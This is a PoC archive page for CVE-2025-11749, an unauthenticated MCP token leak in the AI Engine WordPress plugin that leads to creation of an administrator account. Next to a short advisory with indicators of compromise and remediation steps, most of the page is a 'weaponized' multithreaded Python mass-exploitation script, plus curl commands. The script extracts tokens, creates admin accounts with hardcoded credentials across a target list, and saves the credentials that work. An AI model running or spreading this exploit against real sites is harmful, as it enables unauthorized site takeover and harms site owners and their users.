PoC Archive PoC Archive
Critical CVE-2025-11749 unpatched

AI Engine WordPress Plugin Unauthenticated MCP Token Disclosure to Admin Account Creation (CVE-2025-11749)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-11749
Category
web
Affected product
AI Engine plugin for WordPress (mwai)
Affected versions
<= 3.1.3
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-11749
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, ai-engine, mwai, mcp, rest-api, information-disclosure, privilege-escalation, admin-account-creation, python, mass-scanner
RelatedN/A

Affected Target

FieldValue
Software / SystemAI Engine plugin for WordPress (mwai)
Versions Affected<= 3.1.3
Language / PlatformPHP (WordPress plugin, target), Python 3.8+ (PoC scanner/exploit)
Authentication RequiredNo
Network Access RequiredYes

Summary

AI Engine’s built-in Model Context Protocol (MCP) server, exposed via WordPress REST routes under /wp-json/mcp/v1/, discloses a per-site MCP access token directly in the unauthenticated route listing when the plugin’s MCP feature (or a “No-Auth URL”-style setting) is enabled, allowing anyone to enumerate the token from /wp-json/mcp/v1/ without logging in. The root cause is that the MCP token is embedded as a URL path segment in the self-describing REST route list rather than being kept server-side, so the route-discovery response itself leaks the credential needed to use the route. With the token, an attacker opens an SSE session against /wp-json/mcp/v1/{token}/sse and invokes the MCP tool wp_create_user with role: administrator, creating a fully privileged WordPress account with attacker-chosen credentials — resulting in complete site takeover. The included PoC is a multithreaded scanner that detects vulnerable sites, extracts the token, creates the admin account, and verifies the resulting login.


Vulnerability Details

Root Cause

check_plugin_installed() first confirms the AI Engine/MCP REST namespaces are registered by querying the standard WordPress route index:

1
2
3
4
resp = requests.get(f"{target_url}/wp-json/", ...)
routes = list(resp.json().get('routes', {}).keys())
mwai_found = any(r.startswith("/mwai/v1/") for r in routes)
mcp_found  = any(r.startswith("/mcp/v1/") for r in routes)

find_token() then queries /wp-json/mcp/v1/ and parses the returned route list for an entry of the shape /mcp/v1/{token}/sse — the token itself is a path segment returned in the unauthenticated route-discovery response:

1
2
3
4
5
resp = requests.get(f"{target_url}/wp-json/mcp/v1/", ...)
for route in resp.json().get("routes", {}):
    parts = route.strip("/").split("/")
    if len(parts) >= 4 and parts[0] == "mcp" and parts[1] == "v1" and parts[-1] == "sse":
        token = parts[2]   # leaked directly in the route path, no auth needed

Because the SSE endpoint’s only “authentication” is knowledge of this token — and the token is handed out for free by the very API that’s supposed to protect it — any unauthenticated visitor can recover a fully valid MCP session credential.

Attack Vector

  1. Confirm AI Engine’s MCP REST namespace is registered by querying GET /wp-json/ and checking for /mwai/v1/ or /mcp/v1/ routes (no auth required).
  2. Query GET /wp-json/mcp/v1/ and parse the returned route list to extract the per-site MCP token embedded in the /mcp/v1/{token}/sse route path.
  3. Open an SSE stream at GET /wp-json/mcp/v1/{token}/sse and read the id: field from the event stream to obtain a valid MCP session_id.
  4. Send a JSON-RPC tools/call request to the same SSE endpoint invoking the built-in wp_create_user MCP tool with attacker-controlled user_login, user_email, user_pass, and role: administrator.
  5. Confirm privilege escalation by logging into /wp-login.php with the newly created administrator credentials and checking for the wordpress_logged_in cookie / /wp-admin redirect.

Impact

  • Unauthenticated disclosure of a privileged MCP session token.
  • Creation of a fully privileged WordPress administrator account without any prior authentication.
  • Complete site takeover: plugin/theme installation (leading to further RCE), content and user database access, and abuse of any AI provider API keys configured in AI Engine.

Environment / Lab Setup

Target:   WordPress site running AI Engine (mwai) <= 3.1.3 with MCP feature / no-auth URL setting enabled
Attacker: Python 3.8+ (3.10+ recommended), pip install requests rich
          Target list file (list.txt), one URL (http/https) per line

Proof of Concept

PoC Script

See CVE-2025-11749.py and requirements.txt in this folder.

1
2
3
4
5
6
7
python3 -m venv .venv
source .venv/bin/activate
pip install requests rich

echo "https://TARGET.example" > list.txt

python CVE-2025-11749.py

Manual reproduction of the core chain:

1
2
3
4
5
6
7
8
curl -s 'https://TARGET.example/wp-json/' | jq '.routes | keys' | grep mcp

curl -s 'https://TARGET.example/wp-json/mcp/v1/' | jq '.routes | keys'
curl -s -N -H 'Accept: text/event-stream' 'https://TARGET.example/wp-json/mcp/v1/<TOKEN>/sse'

curl -s -X POST 'https://TARGET.example/wp-json/mcp/v1/<TOKEN>/sse' \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1337,"method":"tools/call","params":{"name":"wp_create_user","arguments":{"user_login":"attacker","user_email":"attacker@example.com","user_pass":"StrongPass!321","role":"administrator"}}}'

Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected new administrator accounts (e.g. usernames like nxploited or other unrecognized logins)
  • Requests to /wp-json/mcp/v1/*/sse from IPs with no prior authenticated session
  • AI Engine MCP token appearing in access logs for unauthenticated requesters
  • Successful /wp-login.php authentications immediately following MCP tool-call activity

Remediation

ActionDetail
Primary fixUpgrade the AI Engine plugin to the latest patched version, which removes the token from the unauthenticated route listing / adds proper authentication to the MCP endpoints
Interim mitigationDisable the MCP / “No-Auth URL” feature until patched, rotate all MCP tokens and WordPress credentials after patching, restrict /wp-json/mcp/* via WAF/IP allowlist, and audit the WordPress users list for unauthorized administrator accounts

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-11749 on 2026-07-06. Templated Nxploited-style branding (banner art, “Nxploited_” function prefixes, hardcoded credentials nxploited/StrongPass!321) but the exploit logic (unauthenticated MCP token extraction from the route listing, SSE session establishment, wp_create_user tool invocation for admin escalation) is CVE-specific and functional.

CVE-2025-11749.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
# encoding: utf-8
# by: Nxploited ( Khaled Alenazi )
# Telegram: https://t.me/KNxploited
# GitHub: https://github.com/Nxploited

import threading
import requests
import time
import os
import sys
import urllib3
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.theme import Theme
from rich import box
from random import randint
import json

init_theme = Theme({
    "banner": "bold white on rgb(34,49,63)",
    "usage": "bold bright_cyan on rgb(27,37,47)",
    "info": "bold bright_magenta on rgb(31,31,37)",
    "success": "bold white on green",
    "error": "bold white on red",
    "detect": "bold yellow on rgb(27,74,198)",
    "progress": "bold magenta",
    "highlight": "bold cyan on rgb(8,15,34)",
    "tokenid": "bold white on rgb(38,154,16)",
    "inputbox": "bold bright_magenta on rgb(27,74,198)",
})
console = Console(theme=init_theme)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
os.environ['NO_PROXY'] = '*'

Nxploited_success_file = "success_results.txt"
Nxploited_admin_file = "created_admins.txt"
Nxploited_tokens_file = "tokens_only.txt"

target_username = "nxploited"
target_password = "StrongPass!321"
target_email = "admin@nxploit.local"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"

def Nxploited_write_token(target, token=None):
    if token and token.strip():
        with open(Nxploited_tokens_file, "a") as f:
            f.write(f"{target} | token: {token}\n")
        txt = f"[white]{target}[/white] | [bold cyan]token:[/bold cyan] [yellow]{token}[/yellow]"
        console.print(txt, style="tokenid")

def professional_banner():
    banner = """
=====================================================================================================================================
===     ==  ====  =        =============   =====      =====   ====         =============  =======  ====         ======  =====     ===
==  ===  =  ====  =  =================   =   ==   ==   ==   =   ==  ===================   ======   ====  =====  =====   ====  ===   =
=  =======  ====  =  ================   ===   =  ====  =   ===   =  ====================  =======  ==========  =====    ===  =====  =
=  =======  ====  =  =====================   ==  ====  ======   ==  =    ===============  =======  =========  =====  =  ===  =====  =
=  =======   ==   =      ===        =====   ===  ====  =====   ===   ===  ==        ====  =======  ========  =====  ==  ====  ===   =
=  ========  ==  ==  ===================   ====  ====  ====   ====  =====  =============  =======  =======  =====  ===  ======   =  =
=  ========  ==  ==  ==================   =====  ====  ===   ============  =============  =======  =======  =====         ========  =
==  ===  ===    ===  =================   ======   ==   ==   ======  ====  ==============  =======  =======  ==========  ===  =====  =
===     =====  ====        ==========        ===      ==        ====     =============      ===      =====  ==========  ====       ==
=====================================================================================================================================
    """
    for line in banner.splitlines():
        color = f"rgb({randint(34,85)},{randint(49,160)},{randint(63,255)})"
        console.print(Text(line,style=color), style="banner")
        time.sleep(0.002)
    console.print("\n")
    subtitle = "[highlight]Mass MCP Exploit | By: Khaled Alenazi (Nxploited)[/highlight]"
    console.print(subtitle, style="info")

def show_usage_panel():
    usage = (
        "[usage]How to Use:[/usage]\n\n"
        "[highlight]Step 1:[/] Place all target URLs in [bold]list.txt[/] (one URL per line).\n"
        "[highlight]Step 2:[/] Run from terminal: [bold cyan]python CVE-2025-11749.py[/bold cyan]\n"
        "[highlight]Step 3:[/] After pressing ENTER, enter the targets file and number of threads.\n"
        "[highlight]Step 4:[/] Results saved to:\n"
        "   [bright_cyan]Success targets:[/] [bold]success_results.txt[/]\n"
        "   [bright_cyan]Created admins:[/] [bold]created_admins.txt[/]\n"
        "   [bright_cyan]Tokens:[/] [bold]tokens_only.txt[/]\n"
    )
    console.print(Panel(usage, box=box.ROUNDED, style="usage", border_style="cyan"))

def wait_enter():
    msg = "[inputbox]Press ENTER to start exploitation or Ctrl+C to exit...[/inputbox]"
    console.print(Panel(msg, box=box.ROUNDED, style="info"))
    try:
        input()
    except KeyboardInterrupt:
        console.print(Panel("[error]Exiting...[/error]", style="error"))
        sys.exit(0)

def Nxploited_parse_args():
    list_file = console.input("[inputbox]Enter target file name (e.g., list.txt):[/inputbox] ").strip()
    threads = console.input("[inputbox]Enter number of threads (default 10):[/inputbox] ").strip()
    if not threads.isdigit() or int(threads) < 1:
        threads = 10
    else:
        threads = int(threads)
    return list_file, threads

def Nxploited_internet_check():
    while True:
        try:
            requests.head("https://www.google.com", timeout=4)
            return True
        except Exception:
            console.print("[error]Internet disconnected. Waiting to resume...", style="error")
            time.sleep(5)

def Nxploited_read_targets(filename):
    targets = []
    with open(filename, "r") as f:
        for line in f:
            url = line.strip()
            if url:
                if not url.lower().startswith(('http://', 'https://')):
                    url = 'http://' + url
                targets.append(url)
    return targets

def Nxploited_write_result(filename, msg):
    with open(filename, "a") as f:
        f.write(f"{msg}\n")

def check_plugin_installed(target_url):
    try:
        resp = requests.get(f"{target_url.rstrip('/')}/wp-json/", headers={'User-Agent': user_agent}, verify=False, timeout=10)
        data = resp.json()
        routes = list(data.get('routes', {}).keys())
        mwai_found = any(r.startswith("/mwai/v1/") for r in routes)
        mcp_found = any(r.startswith("/mcp/v1/") for r in routes)
        return mwai_found or mcp_found
    except Exception:
        return False

def find_token(target_url):
    try:
        resp = requests.get(f"{target_url.rstrip('/')}/wp-json/mcp/v1/", headers={'User-Agent': user_agent}, verify=False, timeout=15)
        j = resp.json()
        for route in j.get("routes", {}):
            parts = route.strip("/").split("/")
            if len(parts) >= 4 and parts[0] == "mcp" and parts[1] == "v1" and parts[-1] == "sse":
                token = parts[2]
                if token and "/" not in token and "\\" not in token:
                    Nxploited_write_token(target_url, token=token)
                    return token
        found = [x for x in j.get("routes", {}) if x.startswith("/mcp/v1/") and x.endswith("/sse")]
        if found:
            token = found[0].split("/")[4]
            if token and "/" not in token and "\\" not in token:
                Nxploited_write_token(target_url, token=token)
                return token
    except Exception:
        pass
    return None

def get_session_id(target_url, token):
    url = f"{target_url.rstrip('/')}/wp-json/mcp/v1/{token}/sse"
    headers = {
        "Accept": "text/event-stream",
        "Connection": "keep-alive",
        "Cache-Control": "no-cache",
        "User-Agent": user_agent
    }
    try:
        with requests.get(url, headers=headers, verify=False, timeout=10, stream=True) as resp:
            for idx, line in enumerate(resp.iter_lines(decode_unicode=True)):
                if line:
                    line_str = line.strip()
                    if line_str.startswith("id:"):
                        session_id = line_str.split("id:", 1)[-1].strip()
                        if session_id:
                            return session_id
                if idx > 20:
                    break
    except Exception: pass
    return None

def try_exploit(target_url, token, session_id):
    exploit_url = f"{target_url.rstrip('/')}/wp-json/mcp/v1/{token}/sse"
    payload = {
        "jsonrpc": "2.0",
        "id": 1337,
        "method": "tools/call",
        "params": {
            "name": "wp_create_user",
            "arguments": {
                "user_login": target_username,
                "user_email": target_email,
                "user_pass": target_password,
                "role": "administrator"
            }
        }
    }
    try:
        resp = requests.post(
            exploit_url,
            headers={'Content-Type':'application/json', 'User-Agent':user_agent},
            data=json.dumps(payload),
            verify=False, timeout=30
        )
        try:
            res_json = resp.json()
        except Exception:
            res_json = {}
        try:
            result = res_json.get("result", {})
            content = result.get("content", [])
            found_success = False
            created_id = None
            for item in content:
                if isinstance(item, dict):
                    if "text" in item:
                        text = item["text"]
                        if "User created" in text and "ID" in text:
                            found_success = True
                            created_id = text
                        elif "success" in text or "created" in text:
                            found_success = True
                if found_success:
                    break
            if found_success:
                return True, f"{target_url} | {target_username}:{target_password} | {created_id if created_id else ''}"
        except Exception:
            pass
        if resp.status_code == 204:
            return True, f"{target_url} | {target_username}:{target_password}"
        return False, res_json
    except Exception as e:
        return False, str(e)

def login_and_confirm(target_url, username, password):
    login_url = f"{target_url.rstrip('/')}/wp-login.php"
    session = requests.Session()
    try:
        response = session.post(
            login_url,
            verify=False,
            data={
                'log': username,
                'pwd': password,
                'rememberme': 'forever',
                'wp-submit': 'Log+In'
            },
            headers={"User-Agent": user_agent}
        )
        logged_in = any('wordpress_logged_in' in cookie.name for cookie in session.cookies)
        success_conditions = [
            logged_in,
            'dashboard' in response.url.lower(),
            '/wp-admin' in response.url.lower(),
            'wp-admin' in response.text
        ]
        return any(success_conditions)
    except Exception:
        return False

def print_success_box(target_url, login_success):
    panel_text = (
        f"\n[bold white on green]✔️ Exploitation Successful![/bold white on green]\n"
        f"[bold blue]Target:[/] [bold white]{target_url}[/]\n"
        f"[bold blue]WP Admin:[/] [bold green]{target_url.rstrip('/')}/wp-login.php[/]\n"
        f"[bold magenta]Username:[/] [white]{target_username}\n"
        f"[bold magenta]Password:[/] [white]{target_password}\n"
        f"[bold yellow]Dashboard login: {'SUCCESSFUL' if login_success else 'FAILED'}[/bold yellow]\n"
    )
    console.print(Panel(panel_text, box=box.DOUBLE, style="success", border_style="green"))

def Nxploited_worker(thread_id, targets):
    for target in targets:
        Nxploited_internet_check()
        if not check_plugin_installed(target):
            console.print(f"{target} | Plugin not installed or not vulnerable.", style="error")
            continue
        else:
            console.print(f"{target} | Plugin detected or vulnerable, exploiting...", style="detect")

        token = find_token(target)
        if not token:
            console.print(f"{target} | Token not found, skipping.", style="error")
            continue

        session_id = get_session_id(target, token)
        if not session_id:
            console.print(f"{target} | Could not get session_id, skipping.", style="error")
            continue

        success, detail = try_exploit(target, token, session_id)
        if not success:
            console.print(f"{target} | Exploit failed.", style="error")
            continue

        login_success = login_and_confirm(target, target_username, target_password)
        print_success_box(target, login_success)
        if login_success:
            Nxploited_write_result(Nxploited_success_file, f"{target} | {token} | {session_id}")
            Nxploited_write_result(Nxploited_admin_file, detail)
        else:
            console.print(f"{target} | Admin created but login FAILED (credentials not saved).", style="error")

def Nxploited_chunkify(lst, n):
    return [lst[i::n] for i in range(n)]

def Nxploited():
    professional_banner()
    show_usage_panel()
    wait_enter()
    list_file, num_threads = Nxploited_parse_args()
    targets = Nxploited_read_targets(list_file)
    console.print(Panel(
        f"Preparing threads...",
        box=box.ROUNDED, style="highlight", border_style="blue"
    ))
    time.sleep(0.5)
    target_chunks = Nxploited_chunkify(targets, num_threads)
    threads = []
    for i in range(num_threads):
        th = threading.Thread(target=Nxploited_worker, args=(i, target_chunks[i]))
        th.daemon = True
        th.start()
        threads.append(th)
    for th in threads:
        th.join()
    console.print(Panel(
        f"All targets processed.\nCheck [bold green]{Nxploited_success_file}[/] for successes.\nAdmin accounts saved in [bold green]{Nxploited_admin_file}[/]\nTokens saved in [bold green]{Nxploited_tokens_file}[/]",
        box=box.DOUBLE, style="highlight", border_style="cyan"
    ))

if __name__ == "__main__":
    Nxploited()